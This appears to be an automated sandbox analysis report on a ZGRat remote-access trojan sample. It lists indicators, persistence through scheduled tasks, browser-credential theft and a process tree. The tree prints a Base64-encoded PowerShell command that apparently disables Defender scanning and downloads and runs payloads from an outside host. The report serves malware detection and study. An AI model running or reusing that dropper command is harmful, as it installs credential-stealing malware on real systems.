zgrat | e0d1d7c74b52bbd40f5dc85cb9b3ab69ae750d8fc3f5fbd15a98eed616c1ce8e

Analysis

max time kernel
150s
max time network
153s
platform
windows11-21h2_x64
resource
win11-20240419-en
resource tags

arch:x64arch:x86image:win11-20240419-enlocale:en-usos:windows11-21h2-x64system
submitted
14-05-2024 16:54

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

bot_start.exe
Size

2.5MB
MD5

bf4a8b1ff2f896acac3e7ace357abfca
SHA1

c1bd1b3d2959d844f6b4e339f45d3749667df3e1
SHA256

e0d1d7c74b52bbd40f5dc85cb9b3ab69ae750d8fc3f5fbd15a98eed616c1ce8e
SHA512

fd7082a905540e23a5c5b6fd2717c0255ede2680bef16076f174d417bbeef4694e2fa82a8f9e0407cc160344cc194edd19ab40901b468c1695a1b8773e23e494
SSDEEP

49152:Tfx0DZfVUfCnJA3bxBLbsgyGKEQYdfT3kVYCNN5oUpwmJFkjQuQLLOet:l4ZnIlBvyGKJA3kVD4lIl7r

Score

10^/10

zgrat execution rat spyware stealer

Malware Config

Signatures

Detect ZGRat V1 3 IoCs

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Roaming\tthyperRuntimedhcpSvc.exe	family_zgrat_v1
C:\ChainReview\tthyperRuntimedhcpSvc.exe	family_zgrat_v1
behavioral1/memory/1528-76-0x0000000000B40000-0x0000000000D46000-memory.dmp	family_zgrat_v1

Process spawned unexpected child process 15 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

schtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exe

description	pid	pid_target	process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2472	2936	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1840	2936	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3844	2936	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1684	2936	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2600	2936	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3136	2936	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1448	2936	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3960	2936	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1620	2936	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3084	2936	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2188	2936	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1392	2936	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3304	2936	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4000	2936	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3068	2936	schtasks.exe

ZGRat
ZGRat is remote access trojan written in C#.
rat zgrat
Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

2 2160 powershell.exe
Command and Scripting Interpreter: PowerShell 1 TTPs 6 IoCs
Using powershell.exe command.
execution

PowerShell
T1059.001

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exe

pid process

2160 powershell.exe
1928 powershell.exe
4208 powershell.exe
2160 powershell.exe
3052 powershell.exe
2780 powershell.exe
Executes dropped EXE 5 IoCs

Processes:

tthyperRuntimedhcpSvc.exetthyperRuntimedhcpSvc.exeSystem.exewinrar-x64-700.exewinrar-x64-700.exe

pid process

2188 tthyperRuntimedhcpSvc.exe
1528 tthyperRuntimedhcpSvc.exe
2068 System.exe
2160 winrar-x64-700.exe
4292 winrar-x64-700.exe
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs

Processes:

bot_start.exe

pid process

1136 bot_start.exe

flow	pid	process
2	2160	powershell.exe

pid	process
2188	tthyperRuntimedhcpSvc.exe
1528	tthyperRuntimedhcpSvc.exe
2068	System.exe
2160	winrar-x64-700.exe
4292	winrar-x64-700.exe

Drops file in Program Files directory 4 IoCs

Processes:

tthyperRuntimedhcpSvc.exe

description	ioc	process
File created	C:\Program Files\Internet Explorer\de-DE\System.exe	tthyperRuntimedhcpSvc.exe
File created	C:\Program Files\Internet Explorer\de-DE\27d1bcfc3c54e0	tthyperRuntimedhcpSvc.exe
File created	C:\Program Files (x86)\Windows Defender\de-DE\smss.exe	tthyperRuntimedhcpSvc.exe
File created	C:\Program Files (x86)\Windows Defender\de-DE\69ddcba757bf72	tthyperRuntimedhcpSvc.exe

Drops file in Windows directory 2 IoCs

Processes:

chrome.exechrome.exe

description ioc process

File opened for modification C:\Windows\SystemTemp chrome.exe
File opened for modification C:\Windows\SystemTemp chrome.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

description	ioc	process
File opened for modification	C:\Windows\SystemTemp	chrome.exe
File opened for modification	C:\Windows\SystemTemp	chrome.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

AcroRd32.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	AcroRd32.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	AcroRd32.exe

Creates scheduled task(s) 1 TTPs 15 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

Processes:

schtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exe

pid	process
3136	schtasks.exe
3960	schtasks.exe
3084	schtasks.exe
1684	schtasks.exe
2600	schtasks.exe
1448	schtasks.exe
3304	schtasks.exe
4000	schtasks.exe
3844	schtasks.exe
3068	schtasks.exe
2472	schtasks.exe
1840	schtasks.exe
1620	schtasks.exe
2188	schtasks.exe
1392	schtasks.exe

Enumerates system info in registry 2 TTPs 6 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

chrome.exechrome.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe

Modifies Internet Explorer settings 1 TTPs 1 IoCs

adware spyware

Modify Registry

T1112

Processes:

AcroRd32.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-1474490143-3221292397-4168103503-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION	AcroRd32.exe

Modifies data under HKEY_USERS 3 IoCs

Processes:

chrome.exechrome.exe

description	ioc	process
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "133601793124987863"	chrome.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe

Modifies registry class 4 IoCs

Processes:

powershell.exetthyperRuntimedhcpSvc.exeOpenWith.exetthyperRuntimedhcpSvc.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-1474490143-3221292397-4168103503-1000_Classes\Local Settings	powershell.exe
Key created	\REGISTRY\USER\S-1-5-21-1474490143-3221292397-4168103503-1000_Classes\Local Settings	tthyperRuntimedhcpSvc.exe
Key created	\REGISTRY\USER\S-1-5-21-1474490143-3221292397-4168103503-1000_Classes\Local Settings	OpenWith.exe
Key created	\REGISTRY\USER\S-1-5-21-1474490143-3221292397-4168103503-1000_Classes\Local Settings	tthyperRuntimedhcpSvc.exe

NTFS ADS 1 IoCs

Processes:

chrome.exe

description ioc process

File opened for modification C:\Users\Admin\Downloads\winrar-x64-700.exe:Zone.Identifier chrome.exe
Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery
T1018

Processes:

PING.EXE

pid process

1960 PING.EXE

description	ioc	process
File opened for modification	C:\Users\Admin\Downloads\winrar-x64-700.exe:Zone.Identifier	chrome.exe

pid	process
1960	PING.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

powershell.exetthyperRuntimedhcpSvc.exe

pid	process
2160	powershell.exe
2160	powershell.exe
1528	tthyperRuntimedhcpSvc.exe
1528	tthyperRuntimedhcpSvc.exe
1528	tthyperRuntimedhcpSvc.exe
1528	tthyperRuntimedhcpSvc.exe
1528	tthyperRuntimedhcpSvc.exe
1528	tthyperRuntimedhcpSvc.exe
1528	tthyperRuntimedhcpSvc.exe
1528	tthyperRuntimedhcpSvc.exe
1528	tthyperRuntimedhcpSvc.exe
1528	tthyperRuntimedhcpSvc.exe
1528	tthyperRuntimedhcpSvc.exe
1528	tthyperRuntimedhcpSvc.exe
1528	tthyperRuntimedhcpSvc.exe
1528	tthyperRuntimedhcpSvc.exe
1528	tthyperRuntimedhcpSvc.exe
1528	tthyperRuntimedhcpSvc.exe
1528	tthyperRuntimedhcpSvc.exe
1528	tthyperRuntimedhcpSvc.exe
1528	tthyperRuntimedhcpSvc.exe
1528	tthyperRuntimedhcpSvc.exe
1528	tthyperRuntimedhcpSvc.exe
1528	tthyperRuntimedhcpSvc.exe
1528	tthyperRuntimedhcpSvc.exe
1528	tthyperRuntimedhcpSvc.exe
1528	tthyperRuntimedhcpSvc.exe
1528	tthyperRuntimedhcpSvc.exe
1528	tthyperRuntimedhcpSvc.exe
1528	tthyperRuntimedhcpSvc.exe
1528	tthyperRuntimedhcpSvc.exe
1528	tthyperRuntimedhcpSvc.exe
1528	tthyperRuntimedhcpSvc.exe
1528	tthyperRuntimedhcpSvc.exe
1528	tthyperRuntimedhcpSvc.exe
1528	tthyperRuntimedhcpSvc.exe
1528	tthyperRuntimedhcpSvc.exe
1528	tthyperRuntimedhcpSvc.exe
1528	tthyperRuntimedhcpSvc.exe
1528	tthyperRuntimedhcpSvc.exe
1528	tthyperRuntimedhcpSvc.exe
1528	tthyperRuntimedhcpSvc.exe
1528	tthyperRuntimedhcpSvc.exe
1528	tthyperRuntimedhcpSvc.exe
1528	tthyperRuntimedhcpSvc.exe
1528	tthyperRuntimedhcpSvc.exe
1528	tthyperRuntimedhcpSvc.exe
1528	tthyperRuntimedhcpSvc.exe
1528	tthyperRuntimedhcpSvc.exe
1528	tthyperRuntimedhcpSvc.exe
1528	tthyperRuntimedhcpSvc.exe
1528	tthyperRuntimedhcpSvc.exe
1528	tthyperRuntimedhcpSvc.exe
1528	tthyperRuntimedhcpSvc.exe
1528	tthyperRuntimedhcpSvc.exe
1528	tthyperRuntimedhcpSvc.exe
1528	tthyperRuntimedhcpSvc.exe
1528	tthyperRuntimedhcpSvc.exe
1528	tthyperRuntimedhcpSvc.exe
1528	tthyperRuntimedhcpSvc.exe
1528	tthyperRuntimedhcpSvc.exe
1528	tthyperRuntimedhcpSvc.exe
1528	tthyperRuntimedhcpSvc.exe
1528	tthyperRuntimedhcpSvc.exe

Suspicious behavior: GetForegroundWindowSpam 2 IoCs

Processes:

OpenWith.exeSystem.exe

pid process

3484 OpenWith.exe
2068 System.exe

pid	process
3484	OpenWith.exe
2068	System.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 13 IoCs

Processes:

chrome.exechrome.exe

pid	process
2608	chrome.exe
2608	chrome.exe
2608	chrome.exe
1084	chrome.exe
1084	chrome.exe
1084	chrome.exe
1084	chrome.exe
1084	chrome.exe
1084	chrome.exe
1084	chrome.exe
1084	chrome.exe
1084	chrome.exe
1084	chrome.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

powershell.exetthyperRuntimedhcpSvc.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exechrome.exeSystem.exechrome.exe

description	pid	process
Token: SeDebugPrivilege	2160	powershell.exe
Token: SeDebugPrivilege	1528	tthyperRuntimedhcpSvc.exe
Token: SeDebugPrivilege	1928	powershell.exe
Token: SeDebugPrivilege	2160	powershell.exe
Token: SeDebugPrivilege	3052	powershell.exe
Token: SeDebugPrivilege	4208	powershell.exe
Token: SeDebugPrivilege	2780	powershell.exe
Token: SeShutdownPrivilege	2608	chrome.exe
Token: SeCreatePagefilePrivilege	2608	chrome.exe
Token: SeShutdownPrivilege	2608	chrome.exe
Token: SeCreatePagefilePrivilege	2608	chrome.exe
Token: SeShutdownPrivilege	2608	chrome.exe
Token: SeCreatePagefilePrivilege	2608	chrome.exe
Token: SeShutdownPrivilege	2608	chrome.exe
Token: SeCreatePagefilePrivilege	2608	chrome.exe
Token: SeShutdownPrivilege	2608	chrome.exe
Token: SeCreatePagefilePrivilege	2608	chrome.exe
Token: SeShutdownPrivilege	2608	chrome.exe
Token: SeCreatePagefilePrivilege	2608	chrome.exe
Token: SeShutdownPrivilege	2608	chrome.exe
Token: SeCreatePagefilePrivilege	2608	chrome.exe
Token: SeDebugPrivilege	2068	System.exe
Token: SeShutdownPrivilege	2608	chrome.exe
Token: SeCreatePagefilePrivilege	2608	chrome.exe
Token: SeShutdownPrivilege	1084	chrome.exe
Token: SeCreatePagefilePrivilege	1084	chrome.exe
Token: SeShutdownPrivilege	1084	chrome.exe
Token: SeCreatePagefilePrivilege	1084	chrome.exe
Token: SeShutdownPrivilege	1084	chrome.exe
Token: SeCreatePagefilePrivilege	1084	chrome.exe
Token: SeShutdownPrivilege	1084	chrome.exe
Token: SeCreatePagefilePrivilege	1084	chrome.exe
Token: SeShutdownPrivilege	1084	chrome.exe
Token: SeCreatePagefilePrivilege	1084	chrome.exe
Token: SeShutdownPrivilege	1084	chrome.exe
Token: SeCreatePagefilePrivilege	1084	chrome.exe
Token: SeShutdownPrivilege	1084	chrome.exe
Token: SeCreatePagefilePrivilege	1084	chrome.exe
Token: SeShutdownPrivilege	1084	chrome.exe
Token: SeCreatePagefilePrivilege	1084	chrome.exe
Token: SeShutdownPrivilege	1084	chrome.exe
Token: SeCreatePagefilePrivilege	1084	chrome.exe
Token: SeShutdownPrivilege	1084	chrome.exe
Token: SeCreatePagefilePrivilege	1084	chrome.exe
Token: SeShutdownPrivilege	1084	chrome.exe
Token: SeCreatePagefilePrivilege	1084	chrome.exe
Token: SeShutdownPrivilege	1084	chrome.exe
Token: SeCreatePagefilePrivilege	1084	chrome.exe
Token: SeShutdownPrivilege	1084	chrome.exe
Token: SeCreatePagefilePrivilege	1084	chrome.exe
Token: SeShutdownPrivilege	1084	chrome.exe
Token: SeCreatePagefilePrivilege	1084	chrome.exe
Token: SeShutdownPrivilege	1084	chrome.exe
Token: SeCreatePagefilePrivilege	1084	chrome.exe
Token: SeShutdownPrivilege	1084	chrome.exe
Token: SeCreatePagefilePrivilege	1084	chrome.exe
Token: SeShutdownPrivilege	1084	chrome.exe
Token: SeCreatePagefilePrivilege	1084	chrome.exe
Token: SeShutdownPrivilege	1084	chrome.exe
Token: SeCreatePagefilePrivilege	1084	chrome.exe
Token: SeShutdownPrivilege	1084	chrome.exe
Token: SeCreatePagefilePrivilege	1084	chrome.exe
Token: SeShutdownPrivilege	1084	chrome.exe
Token: SeCreatePagefilePrivilege	1084	chrome.exe

Suspicious use of FindShellTrayWindow 63 IoCs

Processes:

chrome.exechrome.exe

pid	process
2608	chrome.exe
2608	chrome.exe
2608	chrome.exe
2608	chrome.exe
2608	chrome.exe
2608	chrome.exe
2608	chrome.exe
2608	chrome.exe
2608	chrome.exe
2608	chrome.exe
2608	chrome.exe
2608	chrome.exe
2608	chrome.exe
2608	chrome.exe
2608	chrome.exe
2608	chrome.exe
2608	chrome.exe
2608	chrome.exe
2608	chrome.exe
2608	chrome.exe
2608	chrome.exe
2608	chrome.exe
2608	chrome.exe
2608	chrome.exe
2608	chrome.exe
2608	chrome.exe
1084	chrome.exe
1084	chrome.exe
1084	chrome.exe
1084	chrome.exe
1084	chrome.exe
1084	chrome.exe
1084	chrome.exe
1084	chrome.exe
1084	chrome.exe
1084	chrome.exe
1084	chrome.exe
1084	chrome.exe
1084	chrome.exe
1084	chrome.exe
1084	chrome.exe
1084	chrome.exe
1084	chrome.exe
1084	chrome.exe
1084	chrome.exe
1084	chrome.exe
1084	chrome.exe
1084	chrome.exe
1084	chrome.exe
1084	chrome.exe
1084	chrome.exe
1084	chrome.exe
1084	chrome.exe
1084	chrome.exe
1084	chrome.exe
1084	chrome.exe
1084	chrome.exe
1084	chrome.exe
1084	chrome.exe
1084	chrome.exe
1084	chrome.exe
1084	chrome.exe
1084	chrome.exe

Suspicious use of SendNotifyMessage 24 IoCs

Processes:

chrome.exechrome.exe

pid	process
2608	chrome.exe
2608	chrome.exe
2608	chrome.exe
2608	chrome.exe
2608	chrome.exe
2608	chrome.exe
2608	chrome.exe
2608	chrome.exe
2608	chrome.exe
2608	chrome.exe
2608	chrome.exe
2608	chrome.exe
1084	chrome.exe
1084	chrome.exe
1084	chrome.exe
1084	chrome.exe
1084	chrome.exe
1084	chrome.exe
1084	chrome.exe
1084	chrome.exe
1084	chrome.exe
1084	chrome.exe
1084	chrome.exe
1084	chrome.exe

Suspicious use of SetWindowsHookEx 23 IoCs

Processes:

bot_start.exeOpenWith.exeAcroRd32.exewinrar-x64-700.exewinrar-x64-700.exe

pid	process
1136	bot_start.exe
3484	OpenWith.exe
3484	OpenWith.exe
3484	OpenWith.exe
3484	OpenWith.exe
3484	OpenWith.exe
3484	OpenWith.exe
3484	OpenWith.exe
3484	OpenWith.exe
3484	OpenWith.exe
3484	OpenWith.exe
3484	OpenWith.exe
1516	AcroRd32.exe
1516	AcroRd32.exe
1516	AcroRd32.exe
1516	AcroRd32.exe
1516	AcroRd32.exe
2160	winrar-x64-700.exe
2160	winrar-x64-700.exe
2160	winrar-x64-700.exe
4292	winrar-x64-700.exe
4292	winrar-x64-700.exe
4292	winrar-x64-700.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

bot_start.exepowershell.exetthyperRuntimedhcpSvc.exeOpenWith.exeWScript.exeAcroRd32.execmd.exeRdrCEF.exe

description	pid	process	target process
PID 1136 wrote to memory of 2160	1136	bot_start.exe	powershell.exe
PID 1136 wrote to memory of 2160	1136	bot_start.exe	powershell.exe
PID 1136 wrote to memory of 2160	1136	bot_start.exe	powershell.exe
PID 2160 wrote to memory of 2188	2160	powershell.exe	tthyperRuntimedhcpSvc.exe
PID 2160 wrote to memory of 2188	2160	powershell.exe	tthyperRuntimedhcpSvc.exe
PID 2160 wrote to memory of 2188	2160	powershell.exe	tthyperRuntimedhcpSvc.exe
PID 2188 wrote to memory of 1676	2188	tthyperRuntimedhcpSvc.exe	WScript.exe
PID 2188 wrote to memory of 1676	2188	tthyperRuntimedhcpSvc.exe	WScript.exe
PID 2188 wrote to memory of 1676	2188	tthyperRuntimedhcpSvc.exe	WScript.exe
PID 3484 wrote to memory of 1516	3484	OpenWith.exe	AcroRd32.exe
PID 3484 wrote to memory of 1516	3484	OpenWith.exe	AcroRd32.exe
PID 3484 wrote to memory of 1516	3484	OpenWith.exe	AcroRd32.exe
PID 1676 wrote to memory of 632	1676	WScript.exe	cmd.exe
PID 1676 wrote to memory of 632	1676	WScript.exe	cmd.exe
PID 1676 wrote to memory of 632	1676	WScript.exe	cmd.exe
PID 1516 wrote to memory of 1412	1516	AcroRd32.exe	RdrCEF.exe
PID 1516 wrote to memory of 1412	1516	AcroRd32.exe	RdrCEF.exe
PID 1516 wrote to memory of 1412	1516	AcroRd32.exe	RdrCEF.exe
PID 632 wrote to memory of 1528	632	cmd.exe	tthyperRuntimedhcpSvc.exe
PID 632 wrote to memory of 1528	632	cmd.exe	tthyperRuntimedhcpSvc.exe
PID 1412 wrote to memory of 4860	1412	RdrCEF.exe	RdrCEF.exe
PID 1412 wrote to memory of 4860	1412	RdrCEF.exe	RdrCEF.exe
PID 1412 wrote to memory of 4860	1412	RdrCEF.exe	RdrCEF.exe
PID 1412 wrote to memory of 4860	1412	RdrCEF.exe	RdrCEF.exe
PID 1412 wrote to memory of 4860	1412	RdrCEF.exe	RdrCEF.exe
PID 1412 wrote to memory of 4860	1412	RdrCEF.exe	RdrCEF.exe
PID 1412 wrote to memory of 4860	1412	RdrCEF.exe	RdrCEF.exe
PID 1412 wrote to memory of 4860	1412	RdrCEF.exe	RdrCEF.exe
PID 1412 wrote to memory of 4860	1412	RdrCEF.exe	RdrCEF.exe
PID 1412 wrote to memory of 4860	1412	RdrCEF.exe	RdrCEF.exe
PID 1412 wrote to memory of 4860	1412	RdrCEF.exe	RdrCEF.exe
PID 1412 wrote to memory of 4860	1412	RdrCEF.exe	RdrCEF.exe
PID 1412 wrote to memory of 4860	1412	RdrCEF.exe	RdrCEF.exe
PID 1412 wrote to memory of 4860	1412	RdrCEF.exe	RdrCEF.exe
PID 1412 wrote to memory of 4860	1412	RdrCEF.exe	RdrCEF.exe
PID 1412 wrote to memory of 4860	1412	RdrCEF.exe	RdrCEF.exe
PID 1412 wrote to memory of 4860	1412	RdrCEF.exe	RdrCEF.exe
PID 1412 wrote to memory of 4860	1412	RdrCEF.exe	RdrCEF.exe
PID 1412 wrote to memory of 4860	1412	RdrCEF.exe	RdrCEF.exe
PID 1412 wrote to memory of 4860	1412	RdrCEF.exe	RdrCEF.exe
PID 1412 wrote to memory of 4860	1412	RdrCEF.exe	RdrCEF.exe
PID 1412 wrote to memory of 4860	1412	RdrCEF.exe	RdrCEF.exe
PID 1412 wrote to memory of 4860	1412	RdrCEF.exe	RdrCEF.exe
PID 1412 wrote to memory of 4860	1412	RdrCEF.exe	RdrCEF.exe
PID 1412 wrote to memory of 4860	1412	RdrCEF.exe	RdrCEF.exe
PID 1412 wrote to memory of 4860	1412	RdrCEF.exe	RdrCEF.exe
PID 1412 wrote to memory of 4860	1412	RdrCEF.exe	RdrCEF.exe
PID 1412 wrote to memory of 4860	1412	RdrCEF.exe	RdrCEF.exe
PID 1412 wrote to memory of 4860	1412	RdrCEF.exe	RdrCEF.exe
PID 1412 wrote to memory of 4860	1412	RdrCEF.exe	RdrCEF.exe
PID 1412 wrote to memory of 4860	1412	RdrCEF.exe	RdrCEF.exe
PID 1412 wrote to memory of 4860	1412	RdrCEF.exe	RdrCEF.exe
PID 1412 wrote to memory of 4860	1412	RdrCEF.exe	RdrCEF.exe
PID 1412 wrote to memory of 4860	1412	RdrCEF.exe	RdrCEF.exe
PID 1412 wrote to memory of 4860	1412	RdrCEF.exe	RdrCEF.exe
PID 1412 wrote to memory of 4860	1412	RdrCEF.exe	RdrCEF.exe
PID 1412 wrote to memory of 4860	1412	RdrCEF.exe	RdrCEF.exe
PID 1412 wrote to memory of 4860	1412	RdrCEF.exe	RdrCEF.exe
PID 1412 wrote to memory of 4860	1412	RdrCEF.exe	RdrCEF.exe
PID 1412 wrote to memory of 4860	1412	RdrCEF.exe	RdrCEF.exe
PID 1412 wrote to memory of 4860	1412	RdrCEF.exe	RdrCEF.exe
PID 1412 wrote to memory of 3452	1412	RdrCEF.exe	RdrCEF.exe
PID 1412 wrote to memory of 3452	1412	RdrCEF.exe	RdrCEF.exe
PID 1412 wrote to memory of 3452	1412	RdrCEF.exe	RdrCEF.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\bot_start.exe
"C:\Users\Admin\AppData\Local\Temp\bot_start.exe"
1⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1136
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHgAeQBkACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAcQBkAGgAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAbgBuAHQAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAawBqAHYAIwA+ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGIAbwBvAGsAcgBlAGEAZABpAG4AZwAyADAAMgA0AC4AbgBlAHQALwByAGUAbQBvAHQAZQAvAHQAdABoAHkAcABlAHIAUgB1AG4AdABpAG0AZQBkAGgAYwBwAFMAdgBjAC4AZQB4AGUAJwAsACAAPAAjAGoAdABpACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAegB2AGgAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AEEAcABwAEQAYQB0AGEAIAA8ACMAcABtAGEAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAdAB0AGgAeQBwAGUAcgBSAHUAbgB0AGkAbQBlAGQAaABjAHAAUwB2AGMALgBlAHgAZQAnACkAKQA8ACMAZAB1AGEAIwA+ADsAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJwBoAHQAdABwAHMAOgAvAC8AYgBvAG8AawByAGUAYQBkAGkAbgBnADIAMAAyADQALgBuAGUAdAAvAGMAbAAvAG0AYQBpAG4ALgBwAHkAJwAsACAAPAAjAHgAaAB1ACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAYwB1AGUAIwA+ACAALQBQAGEAdABoACAAKAAkAHAAdwBkACkALgBwAGEAdABoACAAPAAjAHUAaQBlACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAG0AYQBpAG4ALgBwAHkAJwApACkAPAAjAGEAYQBqACMAPgA7ACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAPAAjAGUAawBpACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAQQBwAHAARABhAHQAYQAgADwAIwBjAGEAaQAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwB0AHQAaAB5AHAAZQByAFIAdQBuAHQAaQBtAGUAZABoAGMAcABTAHYAYwAuAGUAeABlACcAKQA8ACMAZQB0AGYAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAcAB4AGsAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACgAJABwAHcAZAApAC4AcABhAHQAaAAgADwAIwB4AHYAeAAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBtAGEAaQBuAC4AcAB5ACcAKQA8ACMAYwB1AGwAIwA+AA=="
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2160
- - C:\Users\Admin\AppData\Roaming\tthyperRuntimedhcpSvc.exe
    "C:\Users\Admin\AppData\Roaming\tthyperRuntimedhcpSvc.exe"
    3⤵
    - Executes dropped EXE
    - Modifies registry class
    - Suspicious use of WriteProcessMemory
    PID:2188
  - - C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\ChainReview\vN2WLFOsikyY5Jq7XrHIwXoKGZgWET9I.vbe"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1676
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\ChainReview\36Xky7wXbnjE3BIjQdUmzIM.bat" "
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:632
      - C:\ChainReview\tthyperRuntimedhcpSvc.exe
        
        "C:\ChainReview/tthyperRuntimedhcpSvc.exe"
        6⤵
        Executes dropped EXE
        Drops file in Program Files directory
        Modifies registry class
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1528
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
